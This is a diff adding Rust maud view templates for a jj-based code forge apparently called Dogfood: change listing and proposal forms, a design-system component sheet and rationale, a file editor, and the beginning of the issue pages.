| 112 | + | span .faint { "#" (r.number) } | |
| 113 | + | @if let Some(a) = &r.author { span .faint { (a) } } | |
| 114 | + | // Revision count is the visible payoff of stable | |
| 115 | + | // identity: one review, many rewrites. | |
| 116 | + | @if r.revision_count > 1 { | |
| 117 | + | span .faint title="revisions of this change" { | |
| 118 | + | (r.revision_count) " revisions" | |
| 119 | + | } | |
| 120 | + | } | |
| 121 | + | span .faint { (r.updated_at.format("%Y-%m-%d").to_string()) } | |
| 122 | + | } | |
| 123 | + | @if !r.children.is_empty() { | |
| 124 | + | div .row style="margin-top:6px;gap:6px" { | |
| 125 | + | span .label-condensed { "stacked under" } | |
| 126 | + | @for c in &r.children { | |
| 127 | + | span .chip { (&c[..12.min(c.len())]) } | |
| 128 | + | } | |
| 129 | + | } | |
| 130 | + | } | |
| 131 | + | } | |
| 132 | + | } | |
| 133 | + | } | |
| 134 | + | } | |
| 135 | + | } | |
| 136 | + | } | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | /// Disambiguation page for an ambiguous change-id prefix (spec §7). | |
| 140 | + | pub fn ambiguous(ctx: &RepoContext, prefix: &str, candidates: &[(i64, String, String)]) -> Markup { | |
| 141 | + | let base = ctx.base(); | |
| 142 | + | html! { | |
| 143 | + | div .panel { | |
| 144 | + | h1 { "Ambiguous change id" } | |
| 145 | + | p .lede { | |
| 146 | + | "More than one change starts with " code { (prefix) } ". Pick one:" | |
| 147 | + | } | |
| 148 | + | div .stack style="gap:0" { | |
| 149 | + | @for (number, change_id, title) in candidates { | |
| 150 | + | div style="padding:10px 0;border-bottom:1px solid var(--border)" { | |
| 151 | + | a href=(format!("{base}/changes/{number}")) { (title) } | |
| 152 | + | div .row style="margin-top:4px;gap:8px" { | |
| 153 | + | span .chip.chip-change { (&change_id[..16.min(change_id.len())]) } | |
| 154 | + | span .faint { "#" (number) } | |
| 155 | + | } | |
| 156 | + | } | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | } | |
| 160 | + | } | |
| 161 | + | } | |
| 162 | + | ||
| 163 | + | #[cfg(test)] | |
| 164 | + | mod tests { | |
| 165 | + | use super::*; | |
| 166 | + | ||
| 167 | + | #[test] | |
| 168 | + | fn synthetic_changes_render_without_a_change_chip() { | |
| 169 | + | // Spec §4: "Do not pretend a synthetic identity is a real change ID." | |
| 170 | + | let synthetic = change_chip("ppwkwxvrwvxxyttp0000000000000000", true).into_string(); | |
| 171 | + | assert!(synthetic.contains("git")); | |
| 172 | + | assert!( | |
| 173 | + | !synthetic.contains("chip-change"), | |
| 174 | + | "a synthetic id must not use the change-identity chip: {synthetic}" | |
| 175 | + | ); | |
| 176 | + | ||
| 177 | + | let real = change_chip("klxqnvpqlnlvtkmuqmtmxktlnvnomvwv", false).into_string(); | |
| 178 | + | assert!(real.contains("chip-change")); | |
| 179 | + | assert!(real.contains("klxqnvpqlnlv")); | |
| 180 | + | } | |
| 181 | + | ||
| 182 | + | #[test] | |
| 183 | + | fn a_conflicted_change_shows_the_conflict_badge_regardless_of_state() { | |
| 184 | + | let m = state_badge("open", true).into_string(); | |
| 185 | + | assert!(m.contains("badge-conflict")); | |
| 186 | + | let m = state_badge("merged", true).into_string(); | |
| 187 | + | assert!(m.contains("badge-conflict"), "conflict must show on merged too"); | |
| 188 | + | } | |
| 189 | + | ||
| 190 | + | #[test] | |
| 191 | + | fn unknown_states_fall_back_to_open() { | |
| 192 | + | let m = state_badge("something-new", false).into_string(); | |
| 193 | + | assert!(m.contains("badge-open")); | |
| 194 | + | } | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | // ─── opening a change (M3) ─────────────────────────────────────────────────── | |
| 198 | + | ||
| 199 | + | /// A change that could be proposed for review. | |
| 200 | + | pub struct Proposable { | |
| 201 | + | pub change_id: String, | |
| 202 | + | pub number: i64, | |
| 203 | + | pub title: String, | |
| 204 | + | pub synthetic: bool, | |
| 205 | + | pub revisions: i64, | |
| 206 | + | pub state: String, | |
| 207 | + | } | |
| 208 | + | ||
| 209 | + | /// The "open a change" form. | |
| 210 | + | /// | |
| 211 | + | /// The wording is deliberate: the work already exists in the repository, and | |
| 212 | + | /// this form proposes it. A jj forge that claimed to *create* a change here | |
| 213 | + | /// would be describing something that already happened at push time. | |
| 214 | + | pub fn new_change_form( | |
| 215 | + | ctx: &RepoContext, | |
| 216 | + | csrf: &str, | |
| 217 | + | candidates: &[Proposable], | |
| 218 | + | bookmarks: &[String], | |
| 219 | + | error: Option<&str>, | |
| 220 | + | ) -> Markup { | |
| 221 | + | let base = ctx.base(); | |
| 222 | + | html! { | |
| 223 | + | div .panel { | |
| 224 | + | h1 { "Open a change" } | |
| 225 | + | p .lede { | |
| 226 | + | "Pushed work becomes a change the moment Dogfood sees its change id. \ | |
| 227 | + | Opening one gives it a target, a title, and a description so it can be \ | |
| 228 | + | reviewed." | |
| 229 | + | } | |
| 230 | + | ||
| 231 | + | @if let Some(e) = error { div .banner.banner-error role="alert" { (e) } } | |
| 232 | + | ||
| 233 | + | @if candidates.is_empty() { | |
| 234 | + | div .empty { | |
| 235 | + | h2 { "Nothing to open" } | |
| 236 | + | p { "Push with " code { "jj git push" } " and the work appears here." } | |
| 237 | + | } | |
| 238 | + | } @else { | |
| 239 | + | form method="post" action=(format!("{base}/changes")) .stack { | |
| 240 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 241 | + | ||
| 242 | + | div .field { | |
| 243 | + | label for="change" { "Change" } | |
| 244 | + | select id="change" name="change" required { | |
| 245 | + | @for c in candidates { | |
| 246 | + | option value=(c.change_id) { | |
| 247 | + | "#" (c.number) " · " (c.title) | |
| 248 | + | @if c.state == "draft" { " (draft)" } | |
| 249 | + | @if c.revisions > 1 { " · " (c.revisions) " revisions" } | |
| 250 | + | @if c.synthetic { " · git" } | |
| 251 | + | } | |
| 252 | + | } | |
| 253 | + | } | |
| 254 | + | } | |
| 255 | + | ||
| 256 | + | div .field { | |
| 257 | + | label for="target_bookmark" { "Target bookmark" } | |
| 258 | + | select id="target_bookmark" name="target_bookmark" required { | |
| 259 | + | @for b in bookmarks { | |
| 260 | + | option value=(b) selected[*b == ctx.repo.default_bookmark] { (b) } | |
| 261 | + | } | |
| 262 | + | } | |
| 263 | + | p .hint { "Where this change is measured against, and where it lands." } | |
| 264 | + | } | |
| 265 | + | ||
| 266 | + | div .field { | |
| 267 | + | label for="title" { "Title" } | |
| 268 | + | input type="text" id="title" name="title" required maxlength="300" | |
| 269 | + | placeholder="Defaults to the description of the top commit."; | |
| 270 | + | } | |
| 271 | + | ||
| 272 | + | div .field { | |
| 273 | + | label for="description" { "Description" } | |
| 274 | + | textarea id="description" name="description" rows="6" | |
| 275 | + | placeholder="What this change does and why. Reviewers read this first." {} | |
| 276 | + | } | |
| 277 | + | ||
| 278 | + | button .btn.btn-primary type="submit" { "Open change" } | |
| 279 | + | } | |
| 280 | + | } | |
| 281 | + | } | |
| 282 | + | } | |
| 283 | + | } | |
Acrates/df-web/src/views/design.rs+278−0
| @@ −0,0 +1,278 @@ | |||
| 1 | + | //! The design system reference: a component sheet and a rationale page. | |
| 2 | + | //! | |
| 3 | + | //! These are internal documentation that renders itself. A swatch sheet built | |
| 4 | + | //! from the same stylesheet as the product cannot drift from it — which is the | |
| 5 | + | //! whole reason to have one, and the reason it is a route rather than a | |
| 6 | + | //! screenshot in a wiki. | |
| 7 | + | ||
| 8 | + | use maud::{html, Markup}; | |
| 9 | + | ||
| 10 | + | use crate::views::change::{change_chip, state_badge}; | |
| 11 | + | ||
| 12 | + | /// Every colour token, as a swatch grid. | |
| 13 | + | const NEUTRALS: &[(&str, &str)] = &[ | |
| 14 | + | ("--bg", "page ground"), | |
| 15 | + | ("--surface", "panels, cards, bars"), | |
| 16 | + | ("--surface-raised", "controls on a surface"), | |
| 17 | + | ("--border", "hairlines"), | |
| 18 | + | ("--border-strong", "control edges"), | |
| 19 | + | ("--text", "body"), | |
| 20 | + | ("--text-dim", "secondary"), | |
| 21 | + | ("--text-faint", "tertiary, metadata"), | |
| 22 | + | ]; | |
| 23 | + | ||
| 24 | + | const ACCENTS: &[(&str, &str)] = &[ | |
| 25 | + | ("--brand", "the one primary move on a page"), | |
| 26 | + | ("--identity", "change ids, stack rails"), | |
| 27 | + | ("--action", "links"), | |
| 28 | + | ]; | |
| 29 | + | ||
| 30 | + | const STATES: &[(&str, &str)] = &[ | |
| 31 | + | ("--open", "open"), | |
| 32 | + | ("--merged", "merged"), | |
| 33 | + | ("--abandoned", "abandoned"), | |
| 34 | + | ("--conflict", "conflicted"), | |
| 35 | + | ("--danger", "destructive or broken"), | |
| 36 | + | ]; | |
| 37 | + | ||
| 38 | + | fn swatches(title: &str, tokens: &[(&str, &str)]) -> Markup { | |
| 39 | + | html! { | |
| 40 | + | h3 .swatch-group-title { (title) } | |
| 41 | + | div .swatches { | |
| 42 | + | @for (token, use_for) in tokens { | |
| 43 | + | div .swatch { | |
| 44 | + | span .swatch-chip style=(format!("background:var({token})")) {} | |
| 45 | + | code .swatch-name { (token) } | |
| 46 | + | span .faint { (use_for) } | |
| 47 | + | } | |
| 48 | + | } | |
| 49 | + | } | |
| 50 | + | } | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | fn section(id: &str, title: &str, body: Markup) -> Markup { | |
| 54 | + | html! { | |
| 55 | + | section .design-section id=(id) aria-labelledby=(format!("{id}-h")) { | |
| 56 | + | h2 #(format!("{id}-h")) .design-section-title { (title) } | |
| 57 | + | (body) | |
| 58 | + | } | |
| 59 | + | } | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | /// `/design` — the component sheet. | |
| 63 | + | pub fn sheet() -> Markup { | |
| 64 | + | html! { | |
| 65 | + | div .design-head { | |
| 66 | + | h1 .display.design-title { "Component sheet" } | |
| 67 | + | p .dim { | |
| 68 | + | "Every token and control, rendered from the same stylesheet the product uses. " | |
| 69 | + | a href="/design/rationale" { "Read the rationale" } "." | |
| 70 | + | } | |
| 71 | + | } | |
| 72 | + | ||
| 73 | + | (section("tokens", "Colour tokens", html! { | |
| 74 | + | (swatches("Neutrals", NEUTRALS)) | |
| 75 | + | (swatches("Accents", ACCENTS)) | |
| 76 | + | (swatches("State", STATES)) | |
| 77 | + | p .hint { | |
| 78 | + | "Every token has a light-theme counterpart. Switching the theme re-renders this | |
| 79 | + | page from the same variables, so a swatch that looks wrong here is wrong in the | |
| 80 | + | product." | |
| 81 | + | } | |
| 82 | + | })) | |
| 83 | + | ||
| 84 | + | (section("type", "Typography", html! { | |
| 85 | + | div .type-specimens { | |
| 86 | + | p .display style="font-size:var(--text-2xl)" { "Display 40 / condensed 700" } | |
| 87 | + | p .display style="font-size:var(--text-xl)" { "Display 28 / condensed 700" } | |
| 88 | + | p style="font-size:var(--text-lg)" { "Large 20 / sans" } | |
| 89 | + | p style="font-size:var(--text-md)" { "Medium 16 / sans" } | |
| 90 | + | p { "Base 14 / sans — the default for body copy and controls." } | |
| 91 | + | p .mono { "Mono 12.5 / JetBrains — identifiers, paths, diffs, timestamps." } | |
| 92 | + | p .label-condensed { "Label 11 / condensed uppercase" } | |
| 93 | + | } | |
| 94 | + | })) | |
| 95 | + | ||
| 96 | + | (section("buttons", "Buttons", html! { | |
| 97 | + | div .design-row { | |
| 98 | + | a .btn.btn-primary href="#buttons" { "Primary" } | |
| 99 | + | a .btn href="#buttons" { "Default" } | |
| 100 | + | a .btn.btn-danger href="#buttons" { "Danger" } | |
| 101 | + | span .btn.btn-quiet-danger { "Quiet danger" } | |
| 102 | + | span .btn.is-disabled aria-disabled="true" { "Disabled" } | |
| 103 | + | } | |
| 104 | + | div .design-row { | |
| 105 | + | a .btn.btn-primary.btn-lg href="#buttons" { "Large primary" } | |
| 106 | + | a .btn.btn-lg href="#buttons" { "Large default" } | |
| 107 | + | } | |
| 108 | + | p .hint { | |
| 109 | + | "Primary is brand vermilion and there is at most one on a screen. A second | |
| 110 | + | primary button means the page has not decided what it is for." | |
| 111 | + | } | |
| 112 | + | })) | |
| 113 | + | ||
| 114 | + | (section("segmented", "Segmented control", html! { | |
| 115 | + | div .design-row { | |
| 116 | + | div .segmented role="group" aria-label="Example" { | |
| 117 | + | a .segmented-item.is-on href="#segmented" { "rendered" } | |
| 118 | + | a .segmented-item href="#segmented" { "source" } | |
| 119 | + | } | |
| 120 | + | } | |
| 121 | + | p .hint { | |
| 122 | + | "Two links, not a scripted toggle — each half is a real URL, so the control | |
| 123 | + | works without JavaScript and either view can be linked to." | |
| 124 | + | } | |
| 125 | + | })) | |
| 126 | + | ||
| 127 | + | (section("chips", "Chips and badges", html! { | |
| 128 | + | div .design-row { | |
| 129 | + | (change_chip("kmnwolvtqrsz", false)) | |
| 130 | + | (change_chip("anything", true)) | |
| 131 | + | span .chip { "private" } | |
| 132 | + | span .chip { "draft" } | |
| 133 | + | } | |
| 134 | + | div .design-row { | |
| 135 | + | (state_badge("open", false)) | |
| 136 | + | (state_badge("merged", false)) | |
| 137 | + | (state_badge("abandoned", false)) | |
| 138 | + | (state_badge("open", true)) | |
| 139 | + | } | |
| 140 | + | p .hint { | |
| 141 | + | "A state is never colour alone — every badge carries its own name as text, so | |
| 142 | + | it survives a monochrome display and a colour-blind reader." | |
| 143 | + | } | |
| 144 | + | })) | |
| 145 | + | ||
| 146 | + | (section("forms", "Form controls", html! { | |
| 147 | + | div .field { | |
| 148 | + | label for="d-text" { "Text input" } | |
| 149 | + | input type="text" id="d-text" value="dogfood"; | |
| 150 | + | p .hint { "A hint sits under the control it explains." } | |
| 151 | + | } | |
| 152 | + | div .field { | |
| 153 | + | label for="d-area" { "Textarea" } | |
| 154 | + | textarea id="d-area" rows="3" { "Monospace, because it usually holds code." } | |
| 155 | + | } | |
| 156 | + | div .field { | |
| 157 | + | label for="d-select" { "Select" } | |
| 158 | + | select id="d-select" { | |
| 159 | + | option { "main" } | |
| 160 | + | option { "release" } | |
| 161 | + | } | |
| 162 | + | } | |
| 163 | + | })) | |
| 164 | + | ||
| 165 | + | (section("banners", "Banners", html! { | |
| 166 | + | div .banner role="status" { "A neutral banner." } | |
| 167 | + | div .banner.banner-ok role="status" { "Something worked." } | |
| 168 | + | div .banner.banner-error role="alert" { "Something failed, and here is why." } | |
| 169 | + | })) | |
| 170 | + | ||
| 171 | + | (section("empty", "Empty state", html! { | |
| 172 | + | div .empty { | |
| 173 | + | h2 { "No changes yet" } | |
| 174 | + | p { "Push one with " code { "jj git push" } "." } | |
| 175 | + | p { a .btn.btn-primary href="#empty" { "New repository" } } | |
| 176 | + | } | |
| 177 | + | })) | |
| 178 | + | ||
| 179 | + | (section("compare", "Comparison list", html! { | |
| 180 | + | ul .compare { | |
| 181 | + | li .compare-item { | |
| 182 | + | span .compare-them { | |
| 183 | + | span .compare-sign aria-hidden="true" { "−" } | |
| 184 | + | "the old way" | |
| 185 | + | } | |
| 186 | + | span .compare-us { | |
| 187 | + | span .compare-sign aria-hidden="true" { "+" } | |
| 188 | + | "the new way" | |
| 189 | + | } | |
| 190 | + | } | |
| 191 | + | } | |
| 192 | + | })) | |
| 193 | + | } | |
| 194 | + | } | |
| 195 | + | ||
| 196 | + | /// `/design/rationale` — why the system is the way it is. | |
| 197 | + | /// | |
| 198 | + | /// Written against the current tokens. The prototype's own rationale page still | |
| 199 | + | /// describes the pre-brand palette, so this is not a port of that text. | |
| 200 | + | pub fn rationale() -> Markup { | |
| 201 | + | html! { | |
| 202 | + | article .rationale { | |
| 203 | + | header { | |
| 204 | + | h1 .display.design-title { "Design rationale" } | |
| 205 | + | p .dim { | |
| 206 | + | "One page, for the cases the component sheet does not cover. " | |
| 207 | + | a href="/design" { "Back to the component sheet" } "." | |
| 208 | + | } | |
| 209 | + | } | |
| 210 | + | ||
| 211 | + | section { | |
| 212 | + | h2 { "Three accents, three jobs" } | |
| 213 | + | p .dim { | |
| 214 | + | "Vermilion is " em { "brand" } " — the wordmark, the one primary action on a | |
| 215 | + | page, the rule under the masthead, the slash before a section heading. Ochre | |
| 216 | + | is " em { "identity" } " — change ids and stack rails, and nothing else. Teal | |
| 217 | + | is " em { "action" } " — links. The test when adding an element: does it " | |
| 218 | + | em { "name" } " a change, does it " em { "do" } " something, or is it the | |
| 219 | + | product asserting itself? It is never two of those at once. If brand starts | |
| 220 | + | appearing on ordinary links it stops meaning anything, which is the failure | |
| 221 | + | mode to watch for." | |
| 222 | + | } | |
| 223 | + | } | |
| 224 | + | ||
| 225 | + | section { | |
| 226 | + | h2 { "Conflict is magenta, not red" } | |
| 227 | + | p .dim { | |
| 228 | + | "In jj a conflict is a committed, reviewable state — not an error. Colouring | |
| 229 | + | it red would teach the wrong model on the first encounter and take a long | |
| 230 | + | time to unteach. Red is reserved for destructive actions and for things that | |
| 231 | + | are actually broken." | |
| 232 | + | } | |
| 233 | + | } | |
| 234 | + | ||
| 235 | + | section { | |
| 236 | + | h2 { "The type pairing" } | |
| 237 | + | p .dim { | |
| 238 | + | "Mono carries the content: identifiers, paths, diffs, timestamps, numbers. | |
| 239 | + | IBM Plex Sans carries the interface around it. Plex Sans Condensed does two | |
| 240 | + | jobs — uppercase at 11px for labels and column headers, where it buys | |
| 241 | + | horizontal room in dense tables and subordinates the label to its value; and | |
| 242 | + | large and bold for display headings, where it gives the marketing surfaces a | |
| 243 | + | voice the product surfaces do not have. Base is 14px on 21px. If a new | |
| 244 | + | element holds data, set it in mono; if it explains data, sans; if it names a | |
| 245 | + | column of data, condense it." | |
| 246 | + | } | |
| 247 | + | p .dim { | |
| 248 | + | "All three faces are self-hosted Latin subsets. A forge should not tell a | |
| 249 | + | third party which repository you are reading, which is what a font CDN | |
| 250 | + | learns on every page load." | |
| 251 | + | } | |
| 252 | + | } | |
| 253 | + | ||
| 254 | + | section { | |
| 255 | + | h2 { "Density over decoration" } | |
| 256 | + | p .dim { | |
| 257 | + | "Radius is 3px, borders are one hairline, and shadows appear only on things | |
| 258 | + | that genuinely float. The pages that matter — change lists, diffs, file | |
| 259 | + | trees — are read for hours, and every pixel of chrome is one not spent on | |
| 260 | + | code. The grid field and the brand glow are the only decorative elements in | |
| 261 | + | the system, they sit behind content rather than around it, and both are | |
| 262 | + | near-invisible by design." | |
| 263 | + | } | |
| 264 | + | } | |
| 265 | + | ||
| 266 | + | section { | |
| 267 | + | h2 { "Nothing depends on JavaScript" } | |
| 268 | + | p .dim { | |
| 269 | + | "Progressive enhancement is a hard requirement, so every control here has a | |
| 270 | + | no-script form: toggles are links to real URLs, filters are GET forms, and | |
| 271 | + | the line numbers in a blob are anchors. htmx is loaded for enhancement only. | |
| 272 | + | A control that cannot be built this way is a control this system does not | |
| 273 | + | have." | |
| 274 | + | } | |
| 275 | + | } | |
| 276 | + | } | |
| 277 | + | } | |
| 278 | + | } | |
Acrates/df-web/src/views/edit.rs+88−0
| @@ −0,0 +1,88 @@ | |||
| 1 | + | //! The in-browser file editor. | |
| 2 | + | //! | |
| 3 | + | //! A form with a `<textarea>` in it. That is the whole page, and it works with | |
| 4 | + | //! scripting disabled — CodeMirror replaces the textarea when `/assets/editor.js` | |
| 5 | + | //! loads and copies its content back on submit (spec §7: "Progressive | |
| 6 | + | //! enhancement is a hard requirement"). | |
| 7 | + | //! | |
| 8 | + | //! Nothing here is conditional on JavaScript being available. There is no | |
| 9 | + | //! "loading" state and no hidden fallback: the fallback *is* the page. | |
| 10 | + | ||
| 11 | + | use maud::{html, Markup}; | |
| 12 | + | ||
| 13 | + | use crate::repo_ctx::RepoContext; | |
| 14 | + | use crate::views::repo::breadcrumbs; | |
| 15 | + | ||
| 16 | + | pub struct Editor<'a> { | |
| 17 | + | pub bookmark: &'a str, | |
| 18 | + | /// The revision the edit is composed against, submitted back so a | |
| 19 | + | /// concurrent edit is detected rather than overwritten. | |
| 20 | + | pub tip: &'a str, | |
| 21 | + | pub path: &'a str, | |
| 22 | + | pub content: &'a str, | |
| 23 | + | /// The grammar name CodeMirror should use, when we have one. | |
| 24 | + | pub language: Option<&'a str>, | |
| 25 | + | pub author: &'a str, | |
| 26 | + | pub csrf: &'a str, | |
| 27 | + | pub error: Option<&'a str>, | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | pub fn editor(ctx: &RepoContext, e: Editor<'_>) -> Markup { | |
| 31 | + | let base = ctx.base(); | |
| 32 | + | let action = format!("{base}/edit/{}/{}", e.bookmark, e.path); | |
| 33 | + | let cancel = format!("{base}/blob/{}/{}", e.bookmark, e.path); | |
| 34 | + | ||
| 35 | + | html! { | |
| 36 | + | div .panel { | |
| 37 | + | div .row style="margin-bottom:12px" { | |
| 38 | + | span .chip { (e.bookmark) } | |
| 39 | + | (breadcrumbs(&base, e.bookmark, e.path)) | |
| 40 | + | a .btn href=(cancel) style="margin-left:auto" { "Cancel" } | |
| 41 | + | } | |
| 42 | + | ||
| 43 | + | @if let Some(msg) = e.error { | |
| 44 | + | div .banner.banner-error role="alert" { (msg) } | |
| 45 | + | } | |
| 46 | + | ||
| 47 | + | form method="post" action=(action) data-editor-form="1" .stack { | |
| 48 | + | input type="hidden" name="_csrf" value=(e.csrf); | |
| 49 | + | // What the edit was composed against. The server refuses the | |
| 50 | + | // save if the bookmark has moved since. | |
| 51 | + | input type="hidden" name="tip" value=(e.tip); | |
| 52 | + | ||
| 53 | + | div .field { | |
| 54 | + | label for="content" { "Contents of " (e.path) } | |
| 55 | + | div .editor-host { | |
| 56 | + | textarea id="content" name="content" rows="24" | |
| 57 | + | data-editor="1" | |
| 58 | + | data-language=[e.language] | |
| 59 | + | spellcheck="false" | |
| 60 | + | autocapitalize="off" autocomplete="off" | |
| 61 | + | wrap="off" { (e.content) } | |
| 62 | + | } | |
| 63 | + | } | |
| 64 | + | ||
| 65 | + | div .field { | |
| 66 | + | label for="message" { "Commit message" } | |
| 67 | + | input type="text" id="message" name="message" maxlength="500" | |
| 68 | + | placeholder=(format!("Update {}", e.path)); | |
| 69 | + | p .hint { | |
| 70 | + | "Committed to " code { (e.bookmark) } " as " (e.author) | |
| 71 | + | ". This is an ordinary commit — it appears in the log and \ | |
| 72 | + | is indexed like any push." | |
| 73 | + | } | |
| 74 | + | } | |
| 75 | + | ||
| 76 | + | div .row { | |
| 77 | + | button .btn.btn-primary type="submit" { "Commit changes" } | |
| 78 | + | a .btn href=(cancel) { "Cancel" } | |
| 79 | + | } | |
| 80 | + | } | |
| 81 | + | ||
| 82 | + | p .hint { | |
| 83 | + | "Editing here writes a commit on top of " code { (e.bookmark) } | |
| 84 | + | ". It never rewrites history, so a protected bookmark accepts it." | |
| 85 | + | } | |
| 86 | + | } | |
| 87 | + | } | |
| 88 | + | } | |
Acrates/df-web/src/views/issue.rs+359−0
| @@ −0,0 +1,359 @@ | |||
| 1 | + | //! Issues, labels and assignees (M5). | |
| 2 | + | ||
| 3 | + | use chrono::{DateTime, Utc}; | |
| 4 | + | use maud::{html, Markup, PreEscaped}; | |
| 5 | + | ||
| 6 | + | use crate::repo_ctx::RepoContext; | |
| 7 | + | use crate::views::review::CommentRow; | |
| 8 | + | ||
| 9 | + | pub struct Label { | |
| 10 | + | pub name: String, | |
| 11 | + | pub color: String, | |
| 12 | + | } | |
| 13 | + | ||
| 14 | + | /// A label chip. | |
| 15 | + | /// | |
| 16 | + | /// The colour is repository-controlled, so it reaches a `style` attribute — the | |
| 17 | + | /// one place in the product where that is true. It is validated as a hex triple | |
| 18 | + | /// before it gets here; `label_chip_rejects_a_non_colour` pins that anything | |
| 19 | + | /// else falls back to the theme rather than being emitted. | |
| 20 | + | pub fn label_chip(l: &Label) -> Markup { | |
| 21 | + | let safe = valid_hex(&l.color); | |
| 22 | + | html! { | |
| 23 | + | span .chip.label-chip | |
| 24 | + | style=[safe.then(|| format!("border-color:{0};color:{0}", l.color))] { | |
| 25 | + | (l.name) | |
| 26 | + | } | |
| 27 | + | } | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | /// Whether a string is a `#rrggbb` colour and nothing else. | |
| 31 | + | pub fn valid_hex(s: &str) -> bool { | |
| 32 | + | s.len() == 7 | |
| 33 | + | && s.starts_with('#') | |
| 34 | + | && s[1..].bytes().all(|b| b.is_ascii_hexdigit()) | |
| 35 | + | } | |
| 36 | + | ||
| 37 | + | pub struct IssueRow { | |
| 38 | + | pub number: i64, | |
| 39 | + | pub title: String, | |
| 40 | + | pub state: String, | |
| 41 | + | pub author: Option<String>, | |
| 42 | + | pub updated_at: DateTime<Utc>, | |
| 43 | + | pub comment_count: i64, | |
| 44 | + | pub labels: Vec<Label>, | |
| 45 | + | pub assignees: Vec<String>, | |
| 46 | + | } | |
| 47 | + | ||
| 48 | + | pub struct ListFilters<'a> { | |
| 49 | + | pub state: &'a str, | |
| 50 | + | pub label: Option<&'a str>, | |
| 51 | + | pub assignee: Option<&'a str>, | |
| 52 | + | pub all_labels: &'a [Label], | |
| 53 | + | } | |
| 54 | + | ||
| 55 | + | pub fn list(ctx: &RepoContext, rows: &[IssueRow], f: ListFilters<'_>) -> Markup { | |
| 56 | + | let base = ctx.base(); | |
| 57 | + | html! { | |
| 58 | + | div .panel { | |
| 59 | + | div .row style="margin-bottom:14px" { | |
| 60 | + | @for (key, label) in [("open", "Open"), ("closed", "Closed"), ("all", "All")] { | |
| 61 | + | a href=(format!("{base}/issues?state={key}")) | |
| 62 | + | style=(if f.state == key { "color:var(--text);font-weight:500" } else { "" }) { | |
| 63 | + | (label) | |
| 64 | + | } | |
| 65 | + | } | |
| 66 | + | ||
| 67 | + | form method="get" action=(format!("{base}/issues")) .row style="margin-left:auto;gap:8px" { | |
| 68 | + | input type="hidden" name="state" value=(f.state); | |
| 69 | + | select name="label" aria-label="Filter by label" { | |
| 70 | + | option value="" { "any label" } | |
| 71 | + | @for l in f.all_labels { | |
| 72 | + | option value=(l.name) selected[f.label == Some(l.name.as_str())] { (l.name) } | |
| 73 | + | } | |
| 74 | + | } | |
| 75 | + | input type="text" name="assignee" value=[f.assignee] | |
| 76 | + | placeholder="assignee" aria-label="Filter by assignee"; | |
| 77 | + | button .btn type="submit" { "Filter" } | |
| 78 | + | } | |
| 79 | + | ||
| 80 | + | a .btn.btn-primary href=(format!("{base}/issues/new")) { "New issue" } | |
| 81 | + | } | |
| 82 | + | ||
| 83 | + | @if rows.is_empty() { | |
| 84 | + | div .empty { | |
| 85 | + | h2 { "No issues" } | |
| 86 | + | p { "Nothing matches this filter." } | |
| 87 | + | } | |
| 88 | + | } @else { | |
| 89 | + | div .stack style="gap:0" { | |
| 90 | + | @for r in rows { | |
| 91 | + | div style="padding:12px 0;border-bottom:1px solid var(--border)" { | |
| 92 | + | div .row { | |
| 93 | + | @if r.state == "closed" { | |
| 94 | + | span .badge.badge-merged { "closed" } | |
| 95 | + | } @else { | |
| 96 | + | span .badge.badge-open { "open" } | |
| 97 | + | } | |
| 98 | + | a href=(format!("{base}/issues/{}", r.number)) style="font-weight:500" { | |
| 99 | + | (r.title) | |
| 100 | + | } | |
| 101 | + | @for l in &r.labels { (label_chip(l)) } | |
| 102 | + | } | |
| 103 | + | div .row style="margin-top:6px;gap:10px" { | |
| 104 | + | span .faint { "#" (r.number) } | |
| 105 | + | @if let Some(a) = &r.author { span .faint { "by " (a) } } | |
| 106 | + | @if !r.assignees.is_empty() { | |
| 107 | + | span .faint { "assigned to " (r.assignees.join(", ")) } | |
| 108 | + | } | |
| 109 | + | @if r.comment_count > 0 { | |
| 110 | + | span .faint { (r.comment_count) " comment(s)" } | |
| 111 | + | } | |
| 112 | + | span .faint { (r.updated_at.format("%Y-%m-%d").to_string()) } | |
| 113 | + | } | |
| 114 | + | } | |
| 115 | + | } | |
| 116 | + | } | |
| 117 | + | } | |
| 118 | + | } | |
| 119 | + | } | |
| 120 | + | } | |
| 121 | + | ||
| 122 | + | pub struct NewIssue<'a> { | |
| 123 | + | pub csrf: &'a str, | |
| 124 | + | pub labels: &'a [Label], | |
| 125 | + | pub error: Option<&'a str>, | |
| 126 | + | } | |
| 127 | + | ||
| 128 | + | pub fn new_form(ctx: &RepoContext, n: NewIssue<'_>) -> Markup { | |
| 129 | + | let base = ctx.base(); | |
| 130 | + | html! { | |
| 131 | + | div .panel { | |
| 132 | + | h1 { "New issue" } | |
| 133 | + | @if let Some(e) = n.error { div .banner.banner-error role="alert" { (e) } } | |
| 134 | + | ||
| 135 | + | form method="post" action=(format!("{base}/issues")) .stack { | |
| 136 | + | input type="hidden" name="_csrf" value=(n.csrf); | |
| 137 | + | div .field { | |
| 138 | + | label for="title" { "Title" } | |
| 139 | + | input type="text" id="title" name="title" required maxlength="300" autofocus; | |
| 140 | + | } | |
| 141 | + | div .field { | |
| 142 | + | label for="body" { "Description" } | |
| 143 | + | textarea id="body" name="body" rows="8" | |
| 144 | + | placeholder="Markdown is supported. #123 links an issue, @handle a person." {} | |
| 145 | + | } | |
| 146 | + | @if !n.labels.is_empty() { | |
| 147 | + | fieldset style="border:none;padding:0;margin:0" { | |
| 148 | + | legend .label-condensed { "Labels" } | |
| 149 | + | div .row style="flex-wrap:wrap;gap:12px" { | |
| 150 | + | @for l in n.labels { | |
| 151 | + | label { | |
| 152 | + | input type="checkbox" name="labels" value=(l.name); | |
| 153 | + | " " (l.name) | |
| 154 | + | } | |
| 155 | + | } | |
| 156 | + | } | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | button .btn.btn-primary type="submit" { "Open issue" } | |
| 160 | + | } | |
| 161 | + | } | |
| 162 | + | } | |
| 163 | + | } | |
| 164 | + | ||
| 165 | + | pub struct Detail<'a> { | |
| 166 | + | pub number: i64, | |
| 167 | + | pub title: &'a str, | |
| 168 | + | pub body_html: &'a str, | |
| 169 | + | pub state: &'a str, | |
| 170 | + | pub author: Option<&'a str>, | |
| 171 | + | pub created_at: DateTime<Utc>, | |
